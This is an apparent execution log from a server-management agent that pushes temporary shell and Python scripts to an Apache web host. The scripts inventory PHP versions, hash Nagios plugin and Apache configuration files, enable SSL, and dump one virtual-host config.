    array (
      'conf' => 'apache2.conf',
      'config' => '/etc/apache2',
      'user' => 'www-data',
      'group' => 'www-data',
      'available' => 'sites-available',
      'running' => 1,
    ),
    'modules' => 
    array (
      0 => 'core_module',
      1 => 'so_module',
      2 => 'watchdog_module',
      3 => 'http_module',
      4 => 'log_config_module',
      5 => 'logio_module',
      6 => 'version_module',
      7 => 'unixd_module',
      8 => 'access_compat_module',
      9 => 'alias_module',
      10 => 'auth_basic_module',
      11 => 'authn_core_module',
      12 => 'authn_file_module',
      13 => 'authz_core_module',
      14 => 'authz_host_module',
      15 => 'authz_user_module',
      16 => 'autoindex_module',
      17 => 'deflate_module',
      18 => 'dir_module',
      19 => 'env_module',
      20 => 'filter_module',
      21 => 'headers_module',
      22 => 'mime_module',
      23 => 'mpm_prefork_module',
      24 => 'negotiation_module',
      25 => 'php_module',
      26 => 'reqtimeout_module',
      27 => 'rewrite_module',
      28 => 'setenvif_module',
      29 => 'socache_shmcb_module',
      30 => 'ssl_module',
      31 => 'status_module',
    ),
  ),
)


2026-03-14 11:48:49: 

PUT: /tmp/pkp750292

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}

# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
	if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
		if [ ! -f "/usr/bin/add-apt-repository" ]; then
			apt-get -y install software-properties-common > $temp_file 2>&1
		fi
		apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C  > $temp_file 2>&1
		add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
		apt-get update > $temp_file 2>&1
	fi
	echo $BOUNDARY >> $temp_file
	echo apt-get >> $temp_file
	apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
	echo >> $temp_file
fi

gzip -cn9 $temp_file
rm $temp_file


2026-03-14 11:48:49: 

chmod 755 /tmp/pkp750292; /tmp/pkp750292; rm /tmp/pkp750292

2026-03-14 11:48:49: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php5.6 - server-side, HTML-embedded scripting language (metapackage)
php7.0 - server-side, HTML-embedded scripting language (metapackage)
php7.1 - server-side, HTML-embedded scripting language (metapackage)
php7.2 - server-side, HTML-embedded scripting language (metapackage)
php7.3 - server-side, HTML-embedded scripting language (metapackage)
php7.4 - server-side, HTML-embedded scripting language (metapackage)
php8.0 - server-side, HTML-embedded scripting language (metapackage)
php8.1 - server-side, HTML-embedded scripting language (metapackage)
php8.2 - server-side, HTML-embedded scripting language (metapackage)
php8.3 - server-side, HTML-embedded scripting language (metapackage)
php8.4 - server-side, HTML-embedded scripting language (metapackage)
php8.5 - server-side, HTML-embedded scripting language (metapackage)



2026-03-14 11:48:49: 

PUT: /tmp/pkp715081

#!/bin/bash
	dest=`dpkg -L php5.6-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php5.6-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php5.6]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi



2026-03-14 11:48:49: 

chmod 755 /tmp/pkp715081; /tmp/pkp715081; rm /tmp/pkp715081

2026-03-14 11:48:50: 


[php8.2]
php=/usr/bin/php8.2
fpm=
version=8.2.30
[php8.2]
php=/usr/bin/php8.2
fpm=
version=8.2.30


2026-03-14 11:48:50: 

PUT: /tmp/pkp586738

#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def collectCfgFiles(filename):
        config = []
        f = open(filename, 'r')
        file = f.readlines()
        for v in file:
                v = v.rstrip()
                if v != '' and v[0] != '#':
                        p = v.find('=')
                        if p > -1:
                                key = v[:p].strip()
                                value=v[p+1:].strip()
                                if key == 'cfg_file':
                                        config.append(value)
        f.close()
        return config

def generate_hash(filename, type = 'MD5'):
        digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
        payload = type + '(' + filename + ')= ' + digest + "\n"
        gz.write(payload.encode('cp437'))

def scan_folder(folder):
        if os.path.isdir(folder):
                filelist = glob.glob(folder + '/check*')
                for filename in filelist:
                        generate_hash(filename, 'bin')
        return

try:
        try:
                filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
                for file in filelist:
                        generate_hash(file)

        except:
                pass

        scan_folder('/usr/local/nagios/libexec')

finally:
        gz.close();
        
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)
        

2026-03-14 11:48:50: 

chmod 755 /tmp/pkp586738; /tmp/pkp586738; rm /tmp/pkp586738

2026-03-14 11:48:50: 
(gzipped output)


bin(/usr/local/nagios/libexec/check_real)= dd4b06ffdde547e7ae66453ed8af464f
bin(/usr/local/nagios/libexec/check_ssh)= 4998ed8f57fbf48bb709a91b5f67fa88
bin(/usr/local/nagios/libexec/check_ntp_time)= cdcc9ae74ad304a1103f3b26aa2a4302
bin(/usr/local/nagios/libexec/check_dummy)= 593927625b5adf7f6cc5626cf271b00c
bin(/usr/local/nagios/libexec/check_ssmtp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_pop)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_imap)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_wave)= 43070cb5a8919450dc9dddfaad1372c5
bin(/usr/local/nagios/libexec/check_ntp_peer)= 4561ff3ea28b2be1d51e660db0061ecb
bin(/usr/local/nagios/libexec/check_debian_packages)= c962dac5b49c230319a8f132131c5818
bin(/usr/local/nagios/libexec/check_ifstatus)= 2d1588877bbecf63a32b8450a9392703
bin(/usr/local/nagios/libexec/check_rpc)= d950b01072804e29ac7f5f081aa982db
bin(/usr/local/nagios/libexec/check_simap)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_ide_smart)= 70e1d5360c280f5a78a7eaf30fee6e43
bin(/usr/local/nagios/libexec/check_breeze)= 36e02260e64fa5199510d9dc5842d980
bin(/usr/local/nagios/libexec/check_dns)= ab42e148c68a92c9dda556789494efb6
bin(/usr/local/nagios/libexec/check_php.php)= e6599d9e81018dcef125f7d7e05beaf9
bin(/usr/local/nagios/libexec/check_ntp)= 9e7ffbfb53e8cb4f0ac3f693770675ba
bin(/usr/local/nagios/libexec/check_nagios)= 80e3c448e3c432a57b36339e22b18215
bin(/usr/local/nagios/libexec/check_overcr)= 7b207d58bc55979ba935ef83cc192e11
bin(/usr/local/nagios/libexec/check_nntp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_spop)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_ftp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_oracle)= 16b08209814208bb2b7c0f352e0219c8
bin(/usr/local/nagios/libexec/check_swap)= 21ddd46a28196d76075b7c635555a6cd
bin(/usr/local/nagios/libexec/check_sensors)= 7c1111569b1fbbb87ed8eb57f57c09d0
bin(/usr/local/nagios/libexec/check_jabber)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_by_ssh)= b1aa934f5258b2f1708c76a1a6e96a0b
bin(/usr/local/nagios/libexec/check_udp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_dig)= 7b01b47a8c952d611baec6a7004cc24c
bin(/usr/local/nagios/libexec/check_http)= 053039e43a1e34634f3516be01892a42
bin(/usr/local/nagios/libexec/check_nt)= 00a2c24b1de53f52b058cc6ebf430806
bin(/usr/local/nagios/libexec/check_disk_smb)= 5261d05672787c38c34ca67a0b83edf8
bin(/usr/local/nagios/libexec/check_mrtg)= 6f4cf4f1b0f8e29f0e465fbb2506e237
bin(/usr/local/nagios/libexec/check_clamd)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_users)= b55c15f4e1aeb36f902037bfd078d1c9
bin(/usr/local/nagios/libexec/check_ircd)= 022af53fbdb44f8b8b75f2713e8aa35b
bin(/usr/local/nagios/libexec/check_procs)= a4157b7321a21494e347131fe3e78e47
bin(/usr/local/nagios/libexec/check_log)= 7a0c4828d6f7ea76d98a51def16460ee
bin(/usr/local/nagios/libexec/check_autoupdate.php)= 67b27ce05c96a1d7aeac8c220cd103d5
bin(/usr/local/nagios/libexec/check_mailq)= 078442ad36849198a80b539a65e57dc3
bin(/usr/local/nagios/libexec/check_ssl_cert.php)= a5e2b217dabfd686330a66f41b0d4d90
bin(/usr/local/nagios/libexec/check_nwstat)= 6c20e762c6d4ce49fc31b3c0ac28be9e
bin(/usr/local/nagios/libexec/check_mrtgtraf)= 64d5374a8c511c9d2a2d199960c2c6f9
bin(/usr/local/nagios/libexec/check_tcp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_file_exists)= 499adf459b71d925c1b3a6dbb5955cf9
bin(/usr/local/nagios/libexec/check_apt)= cdf54f5ea361ff54adaa5a325bd5e583
bin(/usr/local/nagios/libexec/check_time)= 94da3767ba0be89cb015f6771899764d
bin(/usr/local/nagios/libexec/check_smtp)= d7f2d41ab34b841616e67779411cd4cd
bin(/usr/local/nagios/libexec/check_ping)= bf10c48f916f5eed0d29af7d0e9fd678
bin(/usr/local/nagios/libexec/check_flexlm)= 4e3c614a3494e4e601b0624b4bc8e462
bin(/usr/local/nagios/libexec/check_service)= 8e2475317d2e7a9c6645dba25f338011
bin(/usr/local/nagios/libexec/check_cluster)= 5eb520cefdc87566ccfc5497bb5fc45c
bin(/usr/local/nagios/libexec/check_disk)= 81a61cb2c2922be54adf5b4b15f5ab3c
bin(/usr/local/nagios/libexec/check_uptime)= affa1adb0f2b5b9c950b8582576c3da2
bin(/usr/local/nagios/libexec/check_icmp)= eb69d9de7971a87698948950a5fd8756
bin(/usr/local/nagios/libexec/check_nntps)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_load)= e9e4c57cca90e17e4aa1721c7e8e8c85
bin(/usr/local/nagios/libexec/check_ifoperstatus)= 38508203585e8cbbda9f3031a1940596
bin(/usr/local/nagios/libexec/check_ups)= 65eafce8676b5c74a336c60873a3eef3
bin(/usr/local/nagios/libexec/check_file_age)= 2e331a3782daf78c7b45d7003b6be288
bin(/usr/local/nagios/libexec/check_ssl_validity)= eeaee8f9f357138a49640d4f416530ce
bin(/usr/local/nagios/libexec/check_dhcp)= 1b5efef036053881690728bdee7c1116


2026-03-14 11:48:50: 

PUT: /tmp/pkp608490

#!/bin/bash

install=
if [ -f "/usr/bin/yum" ]; then
	if [ ! -f "/usr/bin/openssl" ]; then
		install="$install openssl"
	fi
	rpm -qi mod_ssl > /dev/null 2>&1
	retVal=$?
	if [ $retVal -ne 0 ]; then
		install="$install mod_ssl"
	fi
	if [ ! -z $install ]; then
		yum -y install $install
		systemctl restart apache2
		echo status=restarted
	else
		echo status=ok
	fi
elif [ -f "/usr/bin/apt-get" ]; then

	if [ ! -f "/usr/bin/openssl" ]; then
		apt-get update
		apt-get -y install openssl
	fi

	if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
		a2enmod -q ssl
		systemctl restart apache2
	fi
	echo status=ok
fi



2026-03-14 11:48:50: 

chmod 755 /tmp/pkp608490; /tmp/pkp608490; rm /tmp/pkp608490

2026-03-14 11:48:50: 


status=ok


2026-03-14 11:48:50: 

PUT: /tmp/pkp722037

#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def generate_hash_certificate(content, folder):
    file = content.split("\n")
    for v in file:
        v = v.strip()
        if v != '' and v[0] != '#':
            match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
            if match is not None:
                filename = match.group(1)
                filename = normalize_path(folder, filename, True)
                generate_hash(filename, folder)

def normalize_path(basepath, relativepath, isFile):
    if relativepath[:1] == '/':
        return relativepath
    if isFile:
        basename = os.path.basename(relativepath)
        relativepath = os.path.dirname(relativepath)
    else:
        basename = ''

    basepath = basepath.split('/')
    relativepath = relativepath.split('/')
    for element in relativepath:
        if element == '..':
            basepath.pop()
        elif element != '.' and element != '':
            basepath.append(element)
    basepath = '/'.join(basepath)
    if basename != '':
        basepath += '/' + basename
    return basepath

def generate_hash(filename, folder):
    if os.path.islink(filename):
        target = os.readlink(filename)
        target = normalize_path(folder, target, True)
        payload = 'link(' + filename + ')= ' + target + "\n"
        gz.write(payload.encode('cp437'))
        return
    content = open(filename).read()
    filehash = hashlib.md5()
    filehash.update(content.encode('cp437'))
    payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
    gz.write(payload.encode('cp437'))
    lower_content = content.lower()
    if lower_content.find('sslcertificatefile') > -1:
        generate_hash_certificate(content, folder)
    return

def scan_folder(folder):
    if os.path.isdir(folder):
        filelist = glob.glob(folder + '/*.conf')
        for filename in filelist:
            generate_hash(filename, folder)
    return

try:
	APACHE_ROOT = '/etc/apache2'
	scan_folder(APACHE_ROOT)
	scan_folder(APACHE_ROOT + '/conf.d')
	scan_folder(APACHE_ROOT + '/conf.modules.d')

	scan_folder(APACHE_ROOT + '/sites-available')
	scan_folder(APACHE_ROOT + '/sites-enabled')
	scan_folder(APACHE_ROOT + '/hosts.d')

finally:
    gz.close()

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-14 11:48:50: 

chmod 755 /tmp/pkp722037; /tmp/pkp722037; rm /tmp/pkp722037

2026-03-14 11:48:50: 
2026-03-14 11:48:50: 

PUT: /tmp/pkp531910

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-available/vela_www_work.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-14 11:48:50: 

chmod 755 /tmp/pkp531910; /tmp/pkp531910; rm /tmp/pkp531910

2026-03-14 11:48:50: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/vela_www_work.conf	463

<VirtualHost *:80>
    ServerName	vela.work
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/vela_www
    <Directory /var/www/vela_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    CustomLog	/var/log/apache2/vela/www_access.log combined
    ErrorLog	/var/log/apache2/vela/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>






(gzipped output)


MD5(/etc/apache2/ports.conf)= e0eadfd8b9250d90d5c3004171eb78f6
MD5(/etc/apache2/apache2.conf)= 354c9e6d2b88a0a3e0548f853840674c
MD5(/etc/apache2/sites-available/myapp_ma2-mtfp_care.conf)= 7472589b546c64790d8a4a507bb8930a
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-acrp_care.conf)= 9e3b2e1ac45d4b81318b4a40ae6ed96c
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_sma1-lrygb_care.conf)= 4b1aae6f4a3a1cb5e036c51957d3b29b
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/patientapps_test_co.conf)= d4f3bdf22a365e4addd509df5175633f
MD5(/etc/ssl/certs/b4d585ce19a4f3515f777a21dc27e293)= e3698212e13c16478338dbcc4e07d4e1
MD5(/etc/apache2/sites-available/myapp_ma1-tyto_care.conf)= 534693f5753d444c162ec45272483617
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-ldhr_care.conf)= 16757e33e857ba30ce41b4901d052c88
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma2-lcl_care.conf)= 4a0e51e5e3ae68b52ace505e1380027e
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_sma1-lgb_care.conf)= 8225805d0ee85f394aa98eecdbd2abad
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma2-buni_care.conf)= 003f3de53e72662f0cb1bac459c3a717
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/001-myapp_www_care.conf)= 88ce7f2405c0946b8e4f3feb3edfb151
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/hostz_condor_org.conf)= 7fc95352b2ad760b6deff65bc4da1aba
MD5(/etc/ssl/certs/452589c154b484450eedc2df554d68f3.crt)= d2252bebb8e01b6185911a1187a828a8
MD5(/etc/apache2/sites-available/myapp_ma1-anin_care.conf)= 426de0a4ccda20e8130b6fe232ffc782
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-mvrc_care.conf)= 7b6b1066a324fcf04594b29db38a08fe
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-utfa_care.conf)= c5a11a335ab10cdad497d0b916f574be
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_d-oak_care.conf)= 05fd9880e5ae43a5c273807b07900d22
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/patientapps_athenahealth_net.conf)= 5515b3f6e3122e420097da2be941b268
MD5(/etc/ssl/certs/01745ae0ff7ef97623b09d98f99c6ad6.crt)= e728d85074cba2dc822d25f59bf3560c
MD5(/etc/apache2/sites-available/patientapps_cerner_net.conf)= 649bcc57a2c730d3643cc2199476201b
MD5(/etc/ssl/certs/9165176ee0fe7a5f957c52572458ff70.crt)= 8edb78611d9c1d7692c769368b7e2f43
MD5(/etc/apache2/sites-available/myapp_ma1-ovin_care.conf)= 5078aab525cb8b94b9d7cdf7896e57e4
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-ankp_care.conf)= 2c05ed3677f478037d6999525d7098a2
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma2-anfu_care.conf)= 2a3d76a9d50ffdc4c0c873dbd55d446f
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/patientapps_audio_net.conf)= 2bb0bee8eaa81c2509de421460f7342b
MD5(/etc/ssl/certs/40d152ed4fc15024fe57db1999e289aa.crt)= ab806b2d4ea12fbdc0441997829b4d72
MD5(/etc/apache2/sites-available/myapp_ma1-savr_care.conf)= 4e650585d27701dce8cfd399f0d264be
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/patientappsinc_www_com.conf)= 2efe03af392bff4ff34b03d2a9fcb1d4
MD5(/etc/ssl/certs/7CDF9F2FFCE67F19977AD2F2DDA28042.crt)= 7f49184d8593902d56db555fb7db4254
MD5(/etc/apache2/sites-available/myapp_ma2-anin_care.conf)= 2b65f594b852c813e5014e8a368d2c3c
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-chel_care.conf)= f2b806d6df70fec101fd07bad5efa7b1
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-rorp_care.conf)= f5023f5f7c06b4009eaad06e58460511
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-prls_care.conf)= b5c32ccc3600ba70c2276b6070a5f0f1
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-lsst_care.conf)= 0decb6a0dc00ef2c8f364b9f004f1ad3
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_pai-ctsr_care.conf)= a0ea9ce658c60a26441a945ec4fedbcb
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-arcr_care.conf)= 06560a2f0a5413f7d75cdff2f18ba42a
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma2-hamm_care.conf)= 3fced2afd73010ee57d1cdeb6cdfd82a
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-dego_care.conf)= 616c63a38f5956d2f00cfd0bf9093c3b
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma2-anrp_care.conf)= 35aaa8ab06a5ac762df09cb77bd9e9a8
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/patientapps_pai_net.conf)= 53fdc6b10aaeafaf1458afd6edb777dd
MD5(/etc/ssl/certs/3f85a328a3b4d0829fd0b0b311b3007b.crt)= 38a430974a8b19c93b048a234be8da12
MD5(/etc/apache2/sites-available/myapp_test_care.conf)= 4154efbd4a45d5cdc3d887b22c2c5d39
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-typa_care.conf)= 8be89f5c74e7ce2de4a662d27565335a
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-larn_care.conf)= 7bda03f83b5441843283464e9fcb0faf
